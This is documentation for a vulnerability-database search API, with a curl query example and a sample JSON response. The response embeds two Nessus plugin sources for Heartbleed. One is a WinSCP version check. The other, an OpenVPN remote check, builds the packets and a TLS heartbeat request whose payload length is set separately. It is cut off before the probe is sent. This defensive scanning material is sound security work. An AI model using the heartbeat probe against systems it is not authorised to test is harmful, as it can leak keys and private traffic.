Skip to content

Tips and tricks

Search in database

The database search feature is similar to the search on the Vulners website. With it, you do not get the full version of the bulletin, but only its main fields. To get full bulletins use the following 2 methods:

Query:

POST /api/v3/search/lucene/

Query example:

curl -XPOST https://vulners.com/api/v3/search/lucene -H 'Content-Type: application/json' -d '{
"query": "heartbleed", 
"skip": 0, 
"size": 10, 
"fields": [
    "id", 
    "title", 
    "description", 
    "type", 
    "bulletinFamily", 
    "cvss", 
    "published", 
    "modified", 
    "lastseen", 
    "href", 
    "sourceHref", 
    "sourceData", 
    "cvelist"], 
"apiKey": "{API key}"
}'

heartbleed_related = vulners_api.find_all("heartbleed", limit=10)
heartbleed_related = vulners_api.search("heartbleed", limit=10)
[
    {
        "lastseen": "2021-04-01T07:45:51",
        "bulletinFamily": "scanner",
        "description": "The WinSCP program installed on the remote host is version 4.x later\nthan 4.3.7, 5.x later than 5.0.6 and prior to 5.5.3. It is, therefore,\naffected by the following vulnerabilities :\n\n  - An out-of-bounds read error, known as the 'Heartbleed\n    Bug', exists related to handling TLS heartbeat\n    extensions that allow an attacker to obtain sensitive\n    information such as primary key material, secondary key\n    material, and other protected content. (CVE-2014-0160)\n\n  - An error exists related to X.509 certificates, FTP\n    with TLS, and host validation that allows an attacker to\n    spoof a server and obtain sensitive information.\n    (CVE-2014-2735)",
        "modified": "2021-04-02T00:00:00",
        "id": "WINSCP_5_5_3.NASL",
        "href": "https://www.tenable.com/plugins/nessus/73613",
        "published": "2014-04-18T00:00:00",
        "title": "WinSCP Heartbeat Information Disclosure (Heartbleed)",
        "type": "nessus",
        "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n  script_id(73613);\n  script_version(\"1.12\");\n  script_cvs_date(\"Date: 2019/11/26\");\n\n  script_cve_id(\"CVE-2014-0160\", \"CVE-2014-2735\");\n  script_bugtraq_id(66690, 66936);\n  script_xref(name:\"CERT\", value:\"720951\");\n  script_xref(name:\"EDB-ID\", value:\"32745\");\n  script_xref(name:\"EDB-ID\", value:\"32764\");\n  script_xref(name:\"EDB-ID\", value:\"32791\");\n  script_xref(name:\"EDB-ID\", value:\"32998\");\n\n  script_name(english:\"WinSCP Heartbeat Information Disclosure (Heartbleed)\");\n  script_summary(english:\"Checks version of WinSCP.\");\n\n  script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host has an application that is affected by\nmultiple vulnerabilities.\");\n  script_set_attribute(attribute:\"description\", value:\n\"The WinSCP program installed on the remote host is version 4.x later\nthan 4.3.7, 5.x later than 5.0.6 and prior to 5.5.3. It is, therefore,\naffected by the following vulnerabilities :\n\n  - An out-of-bounds read error, known as the 'Heartbleed\n    Bug', exists related to handling TLS heartbeat\n    extensions that allow an attacker to obtain sensitive\n    information such as primary key material, secondary key\n    material, and other protected content. (CVE-2014-0160)\n\n  - An error exists related to X.509 certificates, FTP\n    with TLS, and host validation that allows an attacker to\n    spoof a server and obtain sensitive information.\n    (CVE-2014-2735)\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://seclists.org/bugtraq/2014/Apr/90\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://winscp.net/tracker/show_bug.cgi?id=1151\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://winscp.net/tracker/show_bug.cgi?id=1152\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://winscp.net/eng/docs/history#5.5.3\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://heartbleed.com/\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://eprint.iacr.org/2014/140\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://www.openssl.org/news/vulnerabilities.html#2014-0160\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/secadv/20140407.txt\");\n  script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to WinSCP version 5.5.3 or later.\");\n  script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n  script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n  script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2014-2735\");\n\n  script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n  script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n  script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n  script_set_attribute(attribute:\"in_the_news\", value:\"true\");\n\n  script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/02/24\");\n  script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/04/14\");\n  script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/04/18\");\n\n  script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n  script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:winscp:winscp\");\n  script_end_attributes();\n\n  script_category(ACT_GATHER_INFO);\n  script_family(english:\"Windows\");\n\n  script_copyright(english:\"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n  script_dependencies(\"winscp_installed.nbin\");\n  script_require_keys(\"installed_sw/WinSCP\");\n\n  exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"install_func.inc\");\n\napp = 'WinSCP';\nfixed_version = '5.5.3';\n\ninstall = get_single_install(app_name:app, exit_if_unknown_ver:TRUE);\n\nversion = install['version'];\npath = install['path'];\n\nif (\n  # 4.x later than 4.3.7\n  (version =~ \"^4\\.\" && ver_compare(ver:version, fix:\"4.3.7\", strict:FALSE) > 0) ||\n  # 5.0.6 > 5.x < 5.5.0\n  (version =~ \"^5\\.[0-4]\\.\" && ver_compare(ver:version, fix:\"5.0.6\", strict:FALSE) > 0) ||\n  # 5.5.x < 5.5.3\n  (version =~ \"^5\\.5\\.\" && ver_compare(ver:version, fix:\"5.5.3.4193\", strict:FALSE) < 0)\n)\n{\n  port = get_kb_item(\"SMB/transport\");\n  if (!port) port = 445;\n\n  if (report_verbosity > 0)\n  {\n    report =\n      '\\n  Path              : ' + path +\n      '\\n  Installed version : ' + version +\n      '\\n  Fixed versions    : ' + fixed_version + \n      '\\n';\n    security_warning(port:port, extra:report);\n  }\n  else security_warning(port);\n}\nelse audit(AUDIT_INST_PATH_NOT_VULN, app, version, path);\n",
        "cvss": {
            "score": 5.8,
            "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"
        },
        "vhref": "https://vulners.com/nessus/WINSCP_5_5_3.NASL"
    },
    {
        "lastseen": "2021-04-01T04:55:24",
        "bulletinFamily": "scanner",
        "description": "Based on its response to a TLS request with a specially crafted\nheartbeat message (RFC 6520), the remote OpenVPN service appears to be\naffected by an out-of-bounds read flaw.\n\nBecause the remote OpenVPN service does not employ the 'HMAC Firewall'\nfeature, this vulnerability can be exploited without authentication.\n\nThis vulnerability could allow an attacker to obtain secret keys,\ncleartext VPN traffic, and other sensitive data.",
        "modified": "2021-04-02T00:00:00",
        "id": "OPENVPN_HEARTBLEED.NASL",
        "href": "https://www.tenable.com/plugins/nessus/73491",
        "published": "2014-04-14T00:00:00",
        "title": "OpenVPN Heartbeat Information Disclosure (Heartbleed)",
        "type": "nessus",
        "sourceData": "#TRUSTED 8e76757de21630cd19e1142a6014f3b3276a17509243f085e6b515b320452fed2fce468716cc1c98dfc8c810a8c4319461b7fcf5b5da7213f485b30120f2f8b0bf19ba37d9b0a1f5601f0705572cd6dfcff55bc7ba0064ef06f29e13bac938fa7abf25fea721670a33b173e7a79424f2928ac006421439b289b18b8befe12989a5d13ff4cf9b45837c92d92b6c4e76a1e67d98a2b784dfe836ed04de48e59c02c4c69956d713b840a77734c1d5074321e6b6c6b94eb43dffb9ef480ae9f9e194274bf5c59e9d4cd693009c0d9629941302462082a42535ae4cb01b5879e9a0c4fd5149a931670c3f6376a1b58119488d95056a00a2c2a60dd0b923a39fd41121e2f9fae6ac5874be608689097af5081841ab9896fefc2cfeef79c5cf0853984367a405a40cd5f7de8b3aa2b28e9e6cb928e44e1f90c8e308ae0b9f35212b71cd0462f3c587ddfbc4bfb6d7d03a0e81b759725cf49a0496ebfdf45f9074104462cc561d3fe995d558e520a32b4c5d1f392df3ce38587128887191d5f88ec7fed10adaf0652318bd1ed0f7f528ed8fb47225e4e31fff64c79c28867ff45d9360132812ca0a2793234e6f59ab0d05d8348f4c439840d6fb847a028c424e816f432cf3e6ac76a191b3d2c8f53fea8028719654bcb82aa84cfe8d5c0b73f4647b9417d80719e0699a201f00e1c0c839fa05b7dea3a1f576ea16dcf3a2c7c8bf27ba8a\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n  script_id(73491);\n  script_version(\"1.14\");\n  script_cvs_date(\"Date: 2019/11/26\");\n\n  script_cve_id(\"CVE-2014-0160\");\n  script_bugtraq_id(66690);\n  script_xref(name:\"CERT\", value:\"720951\");\n  script_xref(name:\"EDB-ID\", value:\"32745\");\n  script_xref(name:\"EDB-ID\", value:\"32764\");\n  script_xref(name:\"EDB-ID\", value:\"32791\");\n  script_xref(name:\"EDB-ID\", value:\"32998\");\n\n  script_name(english:\"OpenVPN Heartbeat Information Disclosure (Heartbleed)\");\n  script_summary(english:\"Checks if the OpenVPN server incorrectly handles a malformed TLS heartbeat message\");\n\n  script_set_attribute(attribute:\"synopsis\", value:\n\"The remote service is affected by an information disclosure\nvulnerability.\");\n  script_set_attribute(attribute:\"description\", value:\n\"Based on its response to a TLS request with a specially crafted\nheartbeat message (RFC 6520), the remote OpenVPN service appears to be\naffected by an out-of-bounds read flaw.\n\nBecause the remote OpenVPN service does not employ the 'HMAC Firewall'\nfeature, this vulnerability can be exploited without authentication.\n\nThis vulnerability could allow an attacker to obtain secret keys,\ncleartext VPN traffic, and other sensitive data.\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://heartbleed.com/\");\n  script_set_attribute(attribute:\"see_also\", value:\"http://eprint.iacr.org/2014/140\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/vulnerabilities.html#2014-0160\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://www.openssl.org/news/secadv/20140407.txt\");\n  script_set_attribute(attribute:\"see_also\", value:\"https://community.openvpn.net/openvpn/wiki/heartbleed\");\n  script_set_attribute(attribute:\"solution\", value:\n\"Upgrade the version of OpenSSL that OpenVPN is linked against to\n1.0.1g or later. Alternatively, recompile OpenSSL with the\n'-DOPENSSL_NO_HEARTBEATS' flag to disable the vulnerable\nfunctionality. For Windows servers, upgrade to OpenVPN version\n2.3.2-I004 or later.\");\n  script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n  script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n  script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2014-0160\");\n\n  script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n  script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n  script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n  script_set_attribute(attribute:\"metasploit_name\", value:'OpenSSL Heartbeat (Heartbleed) Information Leak');\n  script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n  script_set_attribute(attribute:\"in_the_news\", value:\"true\");\n\n  script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/02/24\");\n  script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/04/07\");\n  script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/04/14\");\n\n  script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n  script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:openvpn:openvpn\");\n  script_end_attributes();\n\n  script_category(ACT_ATTACK);\n  script_family(english:\"Misc.\");\n\n  script_copyright(english:\"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n  script_dependencies(\"openvpn_detect.nasl\");\n\n  exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"byte_func.inc\");\ninclude(\"dump.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"ssl_funcs.inc\");\ninclude(\"data_protection.inc\");\n\n#\n# @remark RFC 6520\n#\n\nfunction heartbeat_ext()\n{\n  local_var mode;\n\n  mode = _FCT_ANON_ARGS[0];\n  if (isnull(mode))\n    mode = 1; #  peer allowed to send requests\n\n  return    mkword(15)  +  # extension type\n            mkword(1)   +  # extension length\n            mkbyte(mode);  # hearbeat mode\n}\n\nfunction heartbeat_req(payload, plen, pad)\n{\n  local_var req;\n\n  if (isnull(plen))\n    plen = strlen(payload);\n\n  req = mkbyte(1) +       # HeartbeatMessageType: request\n        mkword(plen) +    # payload length\n        payload +         # payload\n        pad;              # random padding\n\n  return req;\n\n}\n\n#\n# OpenVPN packet protocol code\n#\n\n# Lower 3 bits is the key id; higher 5 bits is the opcode\nP_KEY_ID_MASK                  = 0x07;\nP_OPCODE_SHIFT                 = 3;\n\n# initial key from client, forget previous state\nP_CONTROL_HARD_RESET_CLIENT_V1  = 1;\n\n# initial key from server, forget previous state\nP_CONTROL_HARD_RESET_SERVER_V1  = 2;\n\n# new key, graceful transition from old to new key\nP_CONTROL_SOFT_RESET_V1         = 3;\n\n# control channel packet (usually TLS ciphertext)\nP_CONTROL_V1                    = 4;\n\n# acknowledgement for packets received\nP_ACK_V1                        = 5;\n\n# data channel packet\nP_DATA_V1                       = 6;\n\n# indicates key_method >= 2\n# initial key from client, forget previous state\nP_CONTROL_HARD_RESET_CLIENT_V2  = 7;\n\n# initial key from server, forget previous state\nP_CONTROL_HARD_RESET_SERVER_V2  = 8;\n\n# define the range of legal opcodes\nP_FIRST_OPCODE                  = 1;\nP_LAST_OPCODE                   = 8;\n\nglobal_var _ovpn, _tls;\n\nfunction _randbytes()\n{\n  local_var i, len, out;\n\n  len =_FCT_ANON_ARGS[0];\n\n  out = NULL;\n  for(i = 0; i < len; i++)\n    out += raw_string(rand() % 256);\n\n  return out;\n}\n\nfunction _bound_check()\n{\n  local_var b, p, l;\n\n  b = _FCT_ANON_ARGS[0];\n  p = _FCT_ANON_ARGS[1];\n  l = _FCT_ANON_ARGS[2];\n\n  if (p + l <= strlen(b)) return TRUE;\n  return FALSE;\n}\n\nfunction ovpn_init(port, timeout, proto)\n{\n  _ovpn['port'] = port;\n  _ovpn['clt_sid']  = _randbytes(8);\n  _ovpn['srv_sid'] = NULL;\n  _ovpn['pkt_id']     = 0;  # our pkt_id\n  _ovpn['ack']        = make_list(); # Received packets to be ACKed\n  _ovpn['proto']      = tolower(proto);\n\n  if (isnull(timeout)) timeout = 5;\n  _ovpn['timeout']    = timeout;\n\n}\n\nfunction ovpn_set_error()\n{\n  local_var err, ret;\n\n  err = _FCT_ANON_ARGS[0];\n  ret = _FCT_ANON_ARGS[1];\n\n  _ovpn['errmsg'] = err;\n\n  return ret;\n}\n\nfunction ovpn_get_last_error()\n{\n  return _ovpn['errmsg'];\n}\n\nfunction ovpn_get_port()\n{\n  return _ovpn['port'];\n}\n\nfunction ovpn_open_sock()\n{\n  local_var port, sock;\n\n  port = ovpn_get_port();\n  if (! port)\n    return ovpn_set_error('No OpenVPN port specified.', FALSE);\n\n  if (_ovpn['proto'] == 'udp')\n    sock = open_sock_udp(port);\n  else\n    sock = open_sock_tcp(port);\n\n  if (sock)\n  {\n    _ovpn['sock'] = sock;\n    return TRUE;\n  }\n  else return ovpn_set_error('Failed to open socket on port '+port, FALSE);\n}\n\nfunction ovpn_close()\n{\n  if (_ovpn['sock']) close(_ovpn['sock']);\n}\n\nfunction ovpn_read()\n{\n  local_var data, sock, timeout, len;\n\n  sock = _ovpn['sock'];\n  if (! sock)\n    return ovpn_set_error('Socket not open.', NULL);\n\n  timeout = _ovpn['timeout'];\n\n  len = 4096;\n  if (_ovpn['proto'] == 'tcp')\n    len = getword(blob:recv(socket:sock, min:2, length:2, timeout:timeout), pos:0);\n\n  data = recv(socket:sock, min:len, length:len, timeout:timeout);\n\n  if (isnull(data))\n    return ovpn_set_error('Failed to read data from transport layer.', NULL);\n\n  return data;\n}\n\nfunction ovpn_write(data)\n{\n  local_var sock;\n\n  sock = _ovpn['sock'];\n  if (! sock)\n    return ovpn_set_error('Socket not open.', NULL);\n\n  if (_ovpn['proto'] == 'tcp')\n    data = mkword(strlen(data)) + data;\n\n  send(socket:sock, data:data);\n}\n\nfunction ovpn_rel_read(len)\n{\n  local_var ack, ack_list, data, opcode, pkt, ret, indata;\n\n  indata = NULL;\n  data = NULL;\n  while(TRUE)\n  {\n    # Requested data in buf\n    if (strlen(indata) >= len)\n    {\n      data = substr(indata, 0 , len -1);\n      indata -= data;\n\n      return data;\n    }\n\n    # Read packet from network\n    pkt = ovpn_read();\n    if (isnull(pkt)) break;\n\n    # Parse packet\n    ret = ovpn_parse_pkt(pkt:pkt);\n    if (isnull(ret)) break;\n\n    # Get ACK record\n    ack_list = ret['ack-list'];\n    foreach ack (ack_list)\n    {\n      # sent pkt ACKed\n      if (ack == _ovpn['pkt_id'])\n        _ovpn['pkt_id']++;\n    }\n\n    opcode = ret['opcode'];\n\n    if (opcode == P_CONTROL_V1)\n    {\n      indata += ret['data'];\n    }\n\n    if (!isnull(ret['pkt_id']))\n    {\n      pkt = ovpn_mk_pkt(opcode:P_ACK_V1, ack_list:make_list(ret['pkt_id']));\n      ovpn_write(data:pkt);\n    }\n  }\n\n  return indata;\n\n}\n\nfunction ovpn_parse_pkt(pkt)\n{\n  local_var ack, i, list, n, opcode, plen, pos, ret;\n\n  plen = strlen(pkt);\n\n  # len check\n  if (plen < 10)\n    return ovpn_set_error('Packet too short.', NULL);\n\n  opcode = ord(pkt[0]) >> P_OPCODE_SHIFT;\n\n  ret['opcode'] = opcode;\n  ret['key_id'] = ord(pkt[0]) & P_KEY_ID_MASK;\n\n  # Send session id\n  ret['srv_sid'] = substr(pkt, 1, 8);\n\n  #\n  # Skip HMAC and pkt_id for replay protection as we don't use --tls-auth\n  #\n\n  #\n  # Process ack record\n  #\n  ack = NULL;\n  # Number of acknowledgements\n  n = ord(pkt[9]);\n\n  pos = 10;\n  if (n)\n  {\n    if ( _bound_check(pkt, pos, n * 4 + 8))\n    {\n      # Array of pkt-ids in the ack\n      list = NULL;\n      for (i = 0; i < n ; i++)\n      {\n        list[i] = getdword(blob:pkt, pos:pos);\n        pos += 4;\n      }\n\n      # Client session id\n      ret['clt_sid'] = substr(pkt, pos, pos + 7);\n      pos += 8;\n    }\n    else return ovpn_set_error('ACK record not found in packet.', NULL);\n  }\n\n  ret['ack-list'] = list;\n\n  # We only deal with:\n  #   P_CONTROL_HARD_RESET_SERVER_V2\n  #   P_CONTROL_V1\n  #   P_ACK_V1\n\n  if (opcode == P_CONTROL_HARD_RESET_SERVER_V2)\n  {\n    # seqnum of the server\n    ret['pkt_id'] = getdword(blob:pkt, pos:pos);\n    if (isnull(ret['pkt_id']))\n      return ovpn_set_error('Failed to get message packet-id in P_CONTROL_HARD_RESET_SERVER_V1', NULL);\n\n    # Store server session id\n    _ovpn['srv_sid'] = ret['srv_sid'];\n  }\n  else if (opcode == P_CONTROL_V1)\n  {\n    # seqnum of the server\n    ret['pkt_id'] = getdword(blob:pkt, pos:pos);\n    if (isnull(ret['pkt_id']))\n      return ovpn_set_error('Failed to get message packet-id in P_CONTROL_V1', NULL);\n    pos += 4;\n\n    # TLS payload\n    if (pos < plen)\n    {\n      ret['data'] = substr(pkt, pos);\n    }\n    else return ovpn_set_error('Failed to get TLS data in P_CONTROL_V1', NULL);\n  }\n  else if (opcode == P_ACK_V1)\n  {\n    # No addditional data in P_ACK_V1\n  }\n\n  return ret;\n\n}\n\n# Create an OpenVPN packet\nfunction ovpn_mk_pkt(opcode, ack_list, data)\n{\n  local_var ack, ack_rec, clt_sid, n, pkt, pkt_id, srv_sid;\n\n  clt_sid   = _ovpn['clt_sid'];\n  srv_sid   = _ovpn['srv_sid'];\n  pkt_id    = _ovpn['pkt_id'];\n\n  pkt = mkbyte(opcode << P_OPCODE_SHIFT) +\n        clt_sid;\n\n  # Append ack record\n  n = 0;\n  ack_rec = NULL;\n  foreach ack (ack_list)\n  {\n    ack_rec += mkdword(ack);\n    n++;\n  }\n  ack_rec = mkbyte(n) + ack_rec;\n  pkt +=  ack_rec;\n\n  # Append remote session id associated with the ack record\n  if (n) pkt += srv_sid;\n\n  # We only send:\n  #   P_CONTROL_HARD_RESET_CLIENT_V2\n  #   P_CONTROL_V1\n  #   P_ACK_V1\n  if (opcode == P_CONTROL_HARD_RESET_CLIENT_V2)\n  {\n    pkt += mkdword(pkt_id);\n  }\n  else if (opcode == P_CONTROL_V1)\n  {\n    pkt += mkdword(pkt_id);\n\n    pkt += data;\n  }\n  else if (opcode == P_ACK_V1)\n  {\n    # No addditional data in P_ACK_V1\n  }\n\n  return pkt;\n}\n\n#\n# Main\n#\n\n# OpenVPN can listen on UDP or TCP. The same daemon can only listen on one or the other,\n# but it is apparently common practice to run two daemons to do both UDP and TCP, and the\n# OpenVPN authors have considered adding the ability to do both together.\n# We cannot use get_service, because it will fork twice for the same port, giving the children\n# no information about which of the two protocols they should be handling.\n# Instead, we get a unique list of ports (UDP and TCP together) and fork for each of those ports,\n# and then figure out the protocol afterwards, forking again if necessary.\n\nports = get_kb_list(\"openvpn/*/proto\");\nif (isnull(ports)) audit(AUDIT_NOT_DETECT, \"OpenVPN\");\n\n# List of [ \"openvpn/1194\", \"openvpn/5000\", etc. ]\nports = list_uniq(keys(ports));\n\n# Strip the text from each list item, leaving only the port number\nfor (i = 0; i < max_index(ports); ++i)\n{\n  m = eregmatch(string:ports[i], pattern:\"^openvpn/([0-9]+)/proto$\");\n  ports[i] = int(m[1]);\n}\n\n# Fork for port, and then get the protocol (forking again if both TCP and UDP are used)\nport = branch(ports, fork:TRUE);\nproto = tolower(get_kb_item(\"openvpn/\" + port + \"/proto\"));\n\n# We use this later in audit messages - looks like \"TCP port 1194\"\nproto_port = toupper(proto) + ' port ' + string(port);\n\nif (tolower(get_kb_item(\"openvpn/\" + port + \"/\" + proto + \"/mode\")) != \"tls\")\n  exit(0, \"The OpenVPN service on \" + proto_port + \" is not running in TLS mode\");\n\nif (proto == \"udp\")\n{\n  if (!get_udp_port_state(port)) audit(AUDIT_PORT_CLOSED, port, \"UDP\");\n}\nelse\n{\n  if (!get_tcp_port_state(port)) audit(AUDIT_PORT_CLOSED, port, \"TCP\");\n}\n\novpn_init(port:port, proto:proto);\n\nif (!ovpn_open_sock()) exit(1, ovpn_get_last_error());\n\n# Tell the server we want to start a new session with it\npkt = ovpn_mk_pkt(opcode:P_CONTROL_HARD_RESET_CLIENT_V2);\novpn_write(data:pkt);\n\npkt = ovpn_read();\nif (isnull(pkt))\n  exit(1, \"Did not receive a response from the OpenVPN server on \" + proto_port + \". \" +\n          \"The 'HMAC Firewall' feature may be enabled.\");\n\nparsed = ovpn_parse_pkt(pkt:pkt);\nif (isnull(parsed)) exit(1, ovpn_get_last_error());\n\n# Make sure the server understands what we want to do\nif (parsed['opcode'] != P_CONTROL_HARD_RESET_SERVER_V2)\n  exit(1, 'Did not receive the expected P_CONTROL_HARD_RESET_SERVER_V2 from the OpenVPN server on ' + proto_port);\n\n# OpenVPN uses P_ACK_V1 packets when it is simply ACKing, but\n# otherwise sends the next message it means to send and bundles\n# one or more ACKs with it.\n# Here, we handle the ACK from the received P_CONTROL_HARD_RESET_SERVER_V2\nack_list = parsed['ack-list'];\nforeach ack (ack_list)\n{\n  if (ack == _ovpn['pkt_id'])\n  {\n    _ovpn['pkt_id']++;\n    break;\n  }\n}\n\n# If we never received an ACK, as mentioned above, we shouldn't proceed.\nif (_ovpn['pkt_id'] != 1)\n  exit(1, 'P_CONTROL_HARD_RESET_CLIENT_V2 not ACKed.');\n\n# ACK the P_CONTROL_HARD_RESET_SERVER_V2 we received from the server\npkt = ovpn_mk_pkt(opcode:P_ACK_V1, ack_list:make_list(parsed['pkt_id']));\novpn_write(data:pkt);\n\n# We use TLS 1.2 to accomodate all TLS versions configured\n# on the server (i.e., --tls-version-min).\n#\n# OpenVPN server that doesn't support 1.2 will\n# downgrade to a lower version. We capture the lower version\n# in ServerHello, and send the heartbleed attack using that\n# lower TLS version.\nversion = TLS_12;\n\n# OpenVPN supported TLS ciphers, output of --show-tls\ncipherspec = raw_string(\n0xc0,0x30, # TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\n0xc0,0x2c, # TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\n0xc0,0x28, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384\n0xc0,0x24, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384\n0xc0,0x14, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\n0xc0,0x0a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA\n0x00,0xa3, # TLS_DHE_DSS_WITH_AES_256_GCM_SHA384\n0x00,0x9f, # TLS_DHE_RSA_WITH_AES_256_GCM_SHA384\n0x00,0x6b, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA256\n0x00,0x6a, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA256\n0x00,0x39, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA\n0x00,0x38, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA\n0x00,0x88, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA\n0x00,0x87, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA\n0xc0,0x32, # TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384\n0xc0,0x2e, # TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384\n0xc0,0x2a, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384\n0xc0,0x26, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384\n0xc0,0x0f, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA\n0xc0,0x05, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA\n0x00,0x9d, # TLS_RSA_WITH_AES_256_GCM_SHA384\n0x00,0x3d, # TLS_RSA_WITH_AES_256_CBC_SHA256\n0x00,0x35, # TLS_RSA_WITH_AES_256_CBC_SHA\n0x00,0x84, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA\n0x00,0x8d, # TLS_PSK_WITH_AES_256_CBC_SHA\n0xc0,0x12, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA\n0xc0,0x08, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA\n0x00,0x16, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA\n0x00,0x13, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA\n0xc0,0x0d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA\n0xc0,0x03, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA\n0x00,0x0a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA\n0x00,0x8b, # TLS_PSK_WITH_3DES_EDE_CBC_SHA\n0x00,0x1f, # TLS_KRB5_WITH_3DES_EDE_CBC_SHA, KRB5-DES-CBC3-SHA (OpenSSL name)\n0x00,0x23, # TLS_KRB5_WITH_3DES_EDE_CBC_MD5, KRB5-DES-CBC3-MD5 (OpenSSL name)\n0xc0,0x2f, # TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\n0xc0,0x2b, # TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\n0xc0,0x27, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256\n0xc0,0x23, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256\n0xc0,0x13, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\n0xc0,0x09, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA\n0x00,0xa2, # TLS_DHE_DSS_WITH_AES_128_GCM_SHA256\n0x00,0x9e, # TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\n0x00,0x67, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA256\n0x00,0x40, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA256\n0x00,0x33, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA\n0x00,0x32, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA\n0x00,0x9a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA\n0x00,0x99, # TLS_DHE_DSS_WITH_SEED_CBC_SHA\n0x00,0x45, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA\n0x00,0x44, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA\n0xc0,0x31, # TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256\n0xc0,0x2d, # TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256\n0xc0,0x29, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256\n0xc0,0x25, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256\n0xc0,0x0e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA\n0xc0,0x04, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA\n0x00,0x9c, # TLS_RSA_WITH_AES_128_GCM_SHA256\n0x00,0x3c, # TLS_RSA_WITH_AES_128_CBC_SHA256\n0x00,0x2f, # TLS_RSA_WITH_AES_128_CBC_SHA\n0x00,0x96, # TLS_RSA_WITH_SEED_CBC_SHA\n0x00,0x41, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA\n0x00,0x07, # TLS_RSA_WITH_IDEA_CBC_SHA, IDEA-CBC-SHA 